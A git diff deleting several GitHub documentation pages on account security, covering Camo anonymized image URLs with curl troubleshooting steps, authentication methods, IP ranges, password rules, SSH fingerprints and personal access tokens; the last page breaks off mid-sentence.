/articles/about-anonymized-image-urls - - /authenticating-to-github/about-anonymized-image-urls - - /github/authenticating-to-github/about-anonymized-urls - - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-anonymized-urls -versions: - fpt: '*' - ghec: '*' -topics: - - Identity - - Access management ---- -To host your images, {% data variables.product.github %} uses the [open-source project Camo](https://github.com/atmos/camo). Camo generates an anonymous URL proxy for each file which hides your browser details and related information from other users. On {% data variables.product.prodname_dotcom_the_website %}, the URL starts `https://<subdomain>.githubusercontent.com/`, with different subdomains depending on how you uploaded the image. - -Videos also get anonymized URLs with the same format as image URLs, but are not processed through Camo. This is because {% data variables.product.prodname_dotcom %} does not support externally hosted videos, so the anonymized URL is a link to the uploaded video hosted by {% data variables.product.prodname_dotcom %}. - -Anyone who receives your anonymized URL, directly or indirectly, may view your image or video. To keep sensitive media files private, restrict them to a private network or a server that requires authentication instead of using Camo. - -## Troubleshooting issues with Camo - -In rare circumstances, images that are processed through Camo might not appear on {% data variables.product.prodname_dotcom %}. Here are some steps you can take to determine where the problem lies. - -{% windows %} - -> [!TIP] -> Windows users will either need to use the Git PowerShell (which is installed alongside [{% data variables.product.prodname_desktop %}](https://desktop.github.com/)) or download [curl for Windows](http://curl.haxx.se/download.html). - -{% endwindows %} - -### An image is not showing up - -If an image is showing up in your browser but not on {% data variables.product.prodname_dotcom %}, you can try requesting it locally. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Request the image headers using `curl`. - - ```shell - $ curl -I https://www.my-server.com/images/some-image.png - > HTTP/2 200 - > Date: Fri, 06 Jun 2014 07:27:43 GMT - > Expires: Sun, 06 Jul 2014 07:27:43 GMT - > Content-Type: image/x-png - > Server: Google Frontend - > Content-Length: 6507 - ``` - -1. Check the value of `Content-Type`. In this case, it's `image/x-png`. -1. Check that content type against [the list of types supported by Camo](https://github.com/atmos/camo/blob/master/mime-types.json). - -If your content type is not supported by Camo, you can try several actions: -* If you own the server that's hosting the image, modify it so that it returns a correct content type for images. -* If you're using an external service for hosting images, contact support for that service. -* Make a pull request to Camo to add your content type to the list. - -### An image that changed recently is not updating - -If you changed an image recently and it's showing up in your browser but not {% data variables.product.prodname_dotcom %}, you can try resetting the cache of the image. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Request the image headers using `curl`. - - ```shell - $ curl -I https://www.my-server.com/images/some-image.png - > HTTP/2 200 - > Expires: Fri, 01 Jan 1984 00:00:00 GMT - > Content-Type: image/png - > Content-Length: 2339 - > Server: Jetty(8.y.z-SNAPSHOT) - ``` - -Check the value of `Cache-Control`. In this example, there's no `Cache-Control`. In that case: -* If you own the server that's hosting the image, modify it so that it returns a `Cache-Control` of `no-cache` for images. -* If you're using an external service for hosting images, contact support for that service. - -If `Cache-Control` _is_ set to `no-cache`, contact {% data variables.contact.contact_support %} or search the {% data variables.contact.community_support_forum %}. - -### Removing an image from Camo's cache - -Purging the cache forces every {% data variables.product.prodname_dotcom %} user to re-request the image, so you should use it very sparingly and only in the event that the above steps did not work. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Purge the image using `curl -X PURGE` on the Camo URL. - - ```shell - $ curl -X PURGE https://camo.githubusercontent.com/4d04abe0044d94fefcf9af2133223.... - > {"status": "ok", "id": "216-8675309-1008701"} - ``` - -### Viewing images on private networks - -If an image is being served from a private network or from a server that requires authentication, it can't be viewed by {% data variables.product.prodname_dotcom %}. In fact, it can't be viewed by any user without asking them to log into the server. - -To fix this, please move the image to a service that is publicly available. - -## Further reading - -* [Proxying user images](https://github.com/blog/1766-proxying-user-images) on {% data variables.product.prodname_blog %} diff --git a/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md deleted file mode 100644 index 38da721f76c4..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: About authentication to GitHub -intro: 'You can securely access your account''s resources by authenticating to {% data variables.product.github %}, using different credentials depending on where you authenticate.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -redirect_from: - - /github/authenticating-to-github/about-authentication-to-github - - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github -shortTitle: Authentication to GitHub ---- -## About authentication to {% data variables.product.github %} - -To keep your account secure, you must authenticate before you can access certain resources on {% data variables.product.github %}. When you authenticate to {% data variables.product.github %}, you supply or confirm credentials that are unique to you to prove that you are exactly who you declare to be. - -You can access your resources in {% data variables.product.github %} in a variety of ways: in the browser, via {% data variables.product.prodname_desktop %} or another desktop application, with the API, or via the command line. Each way of accessing {% data variables.product.github %} supports different modes of authentication. -{%- ifversion not fpt %} -* Your identity provider (IdP){% endif %} -* Username and password with two-factor authentication{% ifversion passkeys %}, or a passkey{% endif %} -* {% data variables.product.pat_generic_caps %} -* SSH key - -## Authenticating in your browser - -{% ifversion fpt or ghec %} - -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.github %} in your browser using your IdP. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -If you're not a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate using your {% data variables.product.prodname_dotcom %} username and password{% ifversion passkeys %}, or a passkey{% endif %}. You may also use two-factor authentication and SAML single sign-on, which can be required by organization and enterprise owners. - -{% else %} - -You can authenticate to {% data variables.product.github %} in your browser in a number of ways. - -{% endif %} - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -{% ifversion account-switcher %} - -If you need to use multiple accounts on {% data variables.location.product_location %}, such as a personal account and a service account, you can quickly switch between your accounts without always needing to reauthenticate each time. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/switching-between-accounts). - -{% endif %} - -* **Username and password only** - * You'll create a password when you create your account on {% data variables.product.github %}. We recommend that you use a password manager to generate a random and unique password. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-strong-password).{% ifversion fpt or ghec %} - * If you have not enabled 2FA, {% data variables.product.github %} may ask for additional verification when you first sign in from a new or unrecognized device, such as a new browser profile, a browser where the cookies have been deleted, or a new computer. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/verifying-new-devices-when-signing-in).{% endif %} -* **Two-factor authentication (2FA)** (recommended) - * If you enable 2FA, after you successfully enter your username and password, we'll also prompt you to provide a code that's generated by a time-based one time password (TOTP) application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS).{% endif %}{% ifversion 2fa-check-up-period %} - * After you configure 2FA, your account enters a check up period for 28 days. You can leave the check up period by successfully performing 2FA within those 28 days. If you don't perform 2FA in that timespan, you'll then be asked to perform 2FA inside one of your existing {% data variables.product.prodname_dotcom %} sessions. - * If you cannot perform 2FA to pass the 28th day checkup, you will be provided a shortcut that lets you reconfigure your 2FA settings. You must reconfigure your settings before you can access the rest of {% data variables.product.prodname_dotcom %}{% endif %}. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website){% ifversion 2fa-check-up-period %} and [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication){% endif %}. - * In addition to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}, you can optionally add an alternative method of authentication with {% ifversion fpt or ghec %}{% data variables.product.prodname_mobile %} or{% endif %} a security key using WebAuthn. See {% ifversion fpt or ghec %}[Configuring two-factor authentication using {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile) or {% endif %}[Configuring two-factor authentication using a security key](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key). - - {% ifversion fpt or ghec %} - - > [!NOTE] - > {% data reusables.two_fa.unlink-email-address %} - - {% endif %}{% ifversion passkeys %} -* **Passkey** - * You can add a passkey to your account to enable a secure, passwordless login. Passkeys satisfy both password and 2FA requirements, so you can complete your sign in with a single step. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys).{% endif %} - -{% ifversion ghes %} -* **External authentication** - * Your site administrator may configure {% data variables.location.product_location_enterprise %} to use external authentication instead of a username and password. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication).{% endif %}{% ifversion fpt or ghec %} -* **SAML single sign-on** - * Before you can access resources owned by an organization or enterprise account that uses SAML single sign-on, you may need to also authenticate through an IdP. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}{% endif %} - -### Session cookies - -{% data variables.product.company_short %} uses cookies to provide services and increase security. {% ifversion fpt or ghec %}You can review details about {% data variables.product.company_short %}'s cookies in the [privacy/cookies repository](https://github.com/privacy/cookies).{% endif %} - -* The gist.{% ifversion fpt or ghec %}github.com{% elsif ghes %}HOSTNAME domain{% endif %} and {% ifversion fpt or ghec %}github.com domains{% elsif ghes %}base domain for your instance{% endif %} use separate cookies. -* {% data variables.product.github %} typically marks a user session for deletion after two weeks of inactivity. -* {% data variables.product.github %} does not immediately delete a session when you sign out. Periodically, {% data variables.product.github %} automatically deletes expired sessions. - -## Authenticating with {% data variables.product.prodname_desktop %} - -You can authenticate with {% data variables.product.prodname_desktop %} using your browser. For more information, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop). - -## Authenticating with the API - -You can authenticate with the API in different ways. For more information, see [AUTOTITLE](/rest/overview/other-authentication-methods). - -### Authenticating to the API with a {% data variables.product.pat_generic %} - -If you want to use the {% data variables.product.company_short %} REST API for personal use, you can create a {% data variables.product.pat_generic %}. If possible, {% data variables.product.company_short %} recommends that you use a {% data variables.product.pat_v2 %} instead of a {% data variables.product.pat_v1 %}. For more information about creating a {% data variables.product.pat_generic %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -### Authenticating to the API with an app - -If you want to use the API on behalf of an organization or another user, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -You can also create an OAuth token with an {% data variables.product.prodname_oauth_app %} to access the REST API. However, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %} instead. {% data variables.product.prodname_github_apps %} allow more control over the access and permission that the app has. - -### Authenticating to the API in a {% data variables.product.prodname_actions %} workflow - -If you want to use the API in a {% data variables.product.prodname_actions %} workflow, {% data variables.product.company_short %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. You can grant permissions to the `GITHUB_TOKEN` with the `permissions` key. - -Note that `GITHUB_TOKEN` can only access resources within the repository that contains the workflow. If you need to make changes to resources outside of the workflow repository, you will need to use a {% data variables.product.pat_generic %} or {% data variables.product.prodname_github_app %}. - -For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - -## Authenticating with the command line - -You can access repositories on {% data variables.product.github %} from the command line in two ways, HTTPS and SSH, and both have a different way of authenticating. The method of authenticating is determined based on whether you choose an HTTPS or SSH remote URL when you clone the repository. For more information about which way to access, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories). - -### HTTPS - -You can work with all repositories on {% data variables.product.github %} over HTTPS, even if you are behind a firewall or proxy. - -If you authenticate with {% data variables.product.prodname_cli %}, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). - -If you authenticate without {% data variables.product.prodname_cli %}, you must authenticate with a {% data variables.product.pat_generic %}. {% data reusables.user-settings.password-authentication-deprecation %} Every time you use Git to authenticate with {% data variables.product.github %}, you'll be prompted to enter your credentials, unless you cache them with a [credential helper](/get-started/git-basics/caching-your-github-credentials-in-git). - -### SSH - -You can work with all repositories on {% data variables.product.github %} over SSH, although firewalls and proxies might refuse to allow SSH connections. - -If you authenticate with {% data variables.product.prodname_cli %}, the CLI will find SSH public keys on your machine and will prompt you to select one for upload. If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% data variables.location.product_location %}. Then, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). - -If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). Every time you use Git to authenticate with {% data variables.product.github %}, you'll be prompted to enter your SSH key passphrase, unless you've [stored the key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). - -{% ifversion fpt or ghec %} - -### Authorizing for SAML single sign-on - -To use a {% data variables.product.pat_generic %} or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) or [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}{% endif %} - -## {% data variables.product.company_short %}'s token formats - -{% data variables.product.company_short %} issues tokens that begin with a prefix to indicate the token's type. - -| Token type | Prefix | More information | -| :- | :- | :- | -| {% data variables.product.pat_v1_caps %} | `ghp_` | [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-personal-access-token-classic) | -| {% data variables.product.pat_v2_caps %} | `github_pat_` | [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token) | -| OAuth access token | `gho_` | [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps) | -| User access token for a {% data variables.product.prodname_github_app %} | `ghu_` | [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps) | -| Installation access token for a {% data variables.product.prodname_github_app %} | `ghs_` | [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation) | -| Refresh token for a {% data variables.product.prodname_github_app %} | `ghr_` | [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens) | diff --git a/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md b/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md deleted file mode 100644 index 6fd5a45b2906..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: About GitHub's IP addresses -intro: '{% data variables.product.github %} serves applications from multiple IP address ranges, which are available using the API.' -redirect_from: - - /articles/what-ip-addresses-does-github-use-that-i-should-whitelist - - /categories/73/articles - - /categories/administration - - /articles/github-s-ip-addresses - - /articles/about-github-s-ip-addresses - - /articles/about-githubs-ip-addresses - - /github/authenticating-to-github/about-githubs-ip-addresses - - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-githubs-ip-addresses -versions: - fpt: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: GitHub's IP addresses ---- - -You can retrieve a list of the IP addresses for {% data variables.product.prodname_dotcom_the_website %} from the [meta](https://api.github.com/meta) API endpoint. For more information, see [AUTOTITLE](/rest/meta). - -{% ifversion ghec %} - -If you access {% data variables.product.github %} on a subdomain of {% data variables.enterprise.data_residency_site %}, the meta endpoint does not return IP ranges for your subdomain. See [AUTOTITLE](/admin/data-residency/network-details-for-ghecom#githubs-ip-addresses). - -{% endif %} - -> [!NOTE] -> The list of {% data variables.product.prodname_dotcom %} IP addresses returned by the Meta API is not intended to be an exhaustive list. For example, IP addresses for some {% data variables.product.prodname_dotcom %} services might not be listed, such as LFS or {% data variables.product.prodname_registry %}. - -These IP addresses are used by {% data variables.product.prodname_dotcom %} to serve our content, deliver webhooks, and perform hosted {% data variables.product.prodname_actions %} builds. - -These ranges are in [CIDR notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation). You can use an online conversion tool to convert from CIDR notation to IP address ranges, for example: [CIDR to IPv4 conversion site](https://www.ipaddressguide.com/cidr). - -We make changes to our IP addresses from time to time. We do not recommend allowing by IP address, but if you use these IP ranges we strongly encourage regular monitoring of our API. - -For applications to function, you must allow TCP ports 22, 80, and 443 via our IP ranges for `github.com`. - -## Further reading - -* [AUTOTITLE](/get-started/using-github/troubleshooting-connectivity-problems) -* [AUTOTITLE](/get-started/using-github/allowing-access-to-githubs-services-from-a-restricted-network) diff --git a/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md deleted file mode 100644 index c926d1cf598c..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Creating a strong password -intro: 'Secure your account on {% data variables.product.prodname_dotcom %} with a strong and unique password using a password manager.' -redirect_from: - - /articles/what-is-a-strong-password - - /articles/creating-a-strong-password - - /github/authenticating-to-github/creating-a-strong-password - - /github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Create a strong password ---- -You must choose or generate a password for your account on {% data variables.product.prodname_dotcom %} that is at least: -* {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or -* 15 characters long with any combination of characters - -To keep your account secure, we recommend you follow these best practices: -* Use a password manager to generate a password of at least 15 characters. -* Generate a unique password for {% data variables.product.github %}. If you use your {% data variables.product.github %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account. -* Configure two-factor authentication for your personal account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication).{% ifversion passkeys %} -* {% data reusables.passkeys.add-passkey-option %}{% endif %} -* Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.github %}. For more information on ways to collaborate, see: [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository), [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), or [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations). - -{% data reusables.repositories.blocked-passwords %} - -You can only use your password to log on to {% data variables.product.github %} using your browser. When you authenticate to {% data variables.product.github %} with other means, such as the command line or API, you should use other credentials. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github). - -{% ifversion fpt or ghec %}{% data reusables.user-settings.password-authentication-deprecation %}{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/git-basics/caching-your-github-credentials-in-git) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure) diff --git a/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md b/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md deleted file mode 100644 index aff34fe86ffa..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: GitHub's SSH key fingerprints -intro: Public key fingerprints can be used to validate a connection to a remote server. -redirect_from: - - /articles/what-are-github-s-ssh-key-fingerprints - - /articles/github-s-ssh-key-fingerprints - - /articles/githubs-ssh-key-fingerprints - - /github/authenticating-to-github/githubs-ssh-key-fingerprints - - /github/authenticating-to-github/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints -versions: - fpt: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: SSH key fingerprints ---- -These are {% data variables.product.prodname_dotcom %}'s public key fingerprints: - -{% data reusables.ssh.fingerprints %} - -You can add the following ssh key entries to your `~/.ssh/known_hosts` file to avoid manually verifying {% data variables.product.prodname_dotcom %} hosts: - -{% data reusables.ssh.known_hosts %} - -For more information, see [AUTOTITLE](/rest/meta/meta#get-github-meta-information). diff --git a/content/authentication/keeping-your-account-and-data-secure/index.md b/content/authentication/keeping-your-account-and-data-secure/index.md deleted file mode 100644 index 49551fc10589..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/index.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Keeping your account and data secure -intro: 'To protect your personal information, you should keep both your account on {% data variables.product.prodname_dotcom %} and any associated data secure.' -redirect_from: - - /articles/keeping-your-account-and-data-secure - - /github/authenticating-to-github/keeping-your-account-and-data-secure -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -children: - - /about-authentication-to-github - - /creating-a-strong-password - - /switching-between-accounts - - /verifying-new-devices-when-signing-in - - /updating-your-github-access-credentials - - /managing-your-personal-access-tokens - - /reviewing-your-ssh-keys - - /reviewing-your-deploy-keys - - /token-expiration-and-revocation - - /reviewing-your-security-log - - /security-log-events - - /removing-sensitive-data-from-a-repository - - /about-anonymized-urls - - /about-githubs-ip-addresses - - /githubs-ssh-key-fingerprints - - /sudo-mode - - /preventing-unauthorized-access - - /viewing-and-managing-your-sessions -shortTitle: Account security ---- diff --git a/content/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens.md b/content/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens.md deleted file mode 100644 index a569efd83ea8..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens.md +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Managing your personal access tokens -shortTitle: 'Manage {% data variables.product.pat_generic %}s' -intro: 'You can use a {% data variables.product.pat_generic %} in place of a password when authenticating to {% data variables.product.prodname_dotcom %} in the command line or with the API.' -redirect_from: - - /articles/creating-an-oauth-token-for-command-line-use - - /articles/creating-an-access-token-for-command-line-use - - /articles/creating-a-personal-access-token-for-the-command-line - - /github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line - - /github/authenticating-to-github/creating-a-personal-access-token - - /github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token - - /github/extending-github/git-automation-with-oauth-tokens - - /authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management ---- - -> [!WARNING] -> Treat your access tokens like passwords. For more information, see [Keeping your {% data variables.product.pat_generic %}s secure](#keeping-your-personal-access-tokens-secure). - -## About {% data variables.product.pat_generic %}s - -{% data variables.product.pat_generic_caps %}s are an alternative to using passwords for authentication to {% data variables.product.github %} when using the [{% data variables.product.github %} API](/rest/overview/authenticating-to-the-rest-api) or the [command line](#using-a-personal-access-token-on-the-command-line). - -{% data variables.product.pat_generic_caps %}s are intended to access {% data variables.product.company_short %} resources on behalf of yourself. To access resources on behalf of an organization, or for long-lived integrations, you should use a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -{% data reusables.user-settings.token_access_capabilities %} For example, a {% data variables.product.pat_generic %} can be configured with an `admin:org` scope, but if the owner of the token is not an organization owner, the token will not give administrative access to the organization. - -### Types of {% data variables.product.pat_generic %}s - -{% data variables.product.company_short %} currently supports two types of {% data variables.product.pat_generic %}s: {% data variables.product.pat_v2 %}s and {% data variables.product.pat_v1_plural %}. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead of {% data variables.product.pat_v1_plural %} whenever possible. - -> [!NOTE] -> {% data variables.product.pat_v2_caps %}s, while more secure and controllable, cannot accomplish every task that a {% data variables.product.pat_v1 %} can. See the section on [{% data variables.product.pat_v2_caps_plural %} limitations](#fine-grained-personal-access-tokens-limitations) below to learn more. - -Both {% data variables.product.pat_v2 %}s and {% data variables.product.pat_v1_plural %} are tied to the user who generated them and will become inactive if the user loses access to the resource. - -Organization owners can set a policy to restrict the access of {% data variables.product.pat_v1_plural %} to their organization{% ifversion ghec or ghes %}, and enterprise owners can restrict the access of {% data variables.product.pat_v1_plural %} to the enterprise or organizations owned by the enterprise{% endif %}. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization#restricting-access-by-personal-access-tokens). - -#### {% data variables.product.pat_v2_caps %}s - -{% data variables.product.pat_v2_caps_plural %} have several security advantages over {% data variables.product.pat_v1_plural %}, but also have limitations that may prevent you from using them in every scenario. These limits, and our plans to fix them, can be found in the [section below](#fine-grained-personal-access-tokens-limitations). - -If you can use a {% data variables.product.pat_v2 %} for your scenario, you'll benefit from these improvements: - -* Each token is limited to access resources owned by a single user or organization. -* Each token can be further limited to only access specific repositories for that user or organization. -* Each token is granted specific, fine-grained permissions, which offer more control than the scopes granted to {% data variables.product.pat_v1_plural %}. -* Organization owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in the organization.{% ifversion ghec or ghes %} -* Enterprise owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in organizations owned by the enterprise.{% endif %} - -##### {% data variables.product.pat_v2_caps_plural %} limitations - -{% data variables.product.pat_v2_caps_plural %} do not support every feature of {% data variables.product.pat_v1_plural %}. These feature gaps are not permanent - {% data variables.product.company_short %} is working to close them. You can review [our public roadmap](https://github.com/github/roadmap) for more details on when these scenarios will be supported. - -The seven major gaps in {% data variables.product.pat_v2 %}s are: - -* Using {% data variables.product.pat_v2 %} to contribute to public repos where the user is not a member. -* Using {% data variables.product.pat_v2 %} to contribute to repositories where the user is an outside or repository collaborator. -* Using {% data variables.product.pat_v2 %} to access multiple organizations at once. -{% ifversion ghes or ghec %}* Using {% data variables.product.pat_v2 %} to access `internal` resources within an enterprise the user belongs to. -* Using {% data variables.product.pat_v2 %} to call APIs that manage the Enterprise account. -{% endif %}* Using {% data variables.product.pat_v2 %} to access Packages. -* Using {% data variables.product.pat_v2 %} to call the Checks API. - -All of these gaps will be solved over time, as {% data variables.product.company_short %} continues to invest in more secure access patterns. - -#### {% data variables.product.pat_v1_caps_plural %} - -{% data reusables.user-settings.patv2-limitations %} - -If you choose to use a {% data variables.product.pat_v1 %}, keep in mind that it will grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. - -{% ifversion fpt or ghec %}{% data reusables.user-settings.removes-personal-access-tokens %} -{% endif %} - -### Keeping your {% data variables.product.pat_generic %}s secure - -{% data variables.product.pat_generic_caps %}s are like passwords, and they share the same inherent security risks. Before creating a new {% data variables.product.pat_generic %}, consider if there is a more secure method of authentication available to you: - -* To access {% data variables.product.company_short %} from the command line, you can use [{% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli) or [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) instead of creating a {% data variables.product.pat_generic %}. -* When using a {% data variables.product.pat_generic %} in a {% data variables.product.prodname_actions %} workflow, consider whether you can use the built-in `GITHUB_TOKEN` instead. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -If these options are not possible, and you must create a {% data variables.product.pat_generic %}, consider using another CLI service to store your token securely. - -When using a {% data variables.product.pat_generic %} in a script, you can store your token as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets).{%- ifversion ghec or fpt %} You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces).{% endif %} - -For more information about best practices, see [AUTOTITLE](/rest/overview/keeping-your-api-credentials-secure). - -## Creating a {% data variables.product.pat_v2 %} - -{% ifversion fpt or ghec %}1. [Verify your email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address), if it hasn't been verified yet.{% endif %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Fine-grained tokens**. -1. Click **Generate new token**. -1. Under **Token name**, enter a name for the token. -1. Under **Expiration**, select an expiration for the token. Infinite lifetimes are allowed but may be blocked by a maximum lifetime policy set by your organization or enterprise owner. For more information, See [Enforcing a maximum lifetime policy for {% data variables.product.pat_generic_plural %}](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization#enforcing-a-maximum-lifetime-policy-for-personal-access-tokens). -1. Optionally, under **Description**, add a note to describe the purpose of the token. -1. Under **Resource owner**, select a resource owner. The token will only be able to access resources owned by the selected resource owner. Organizations that you are a member of will not appear if the organization has blocked the use of {% data variables.product.pat_v2 %}s. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization).{% ifversion ghec %} You may be required to perform single sign-on (SSO) if the 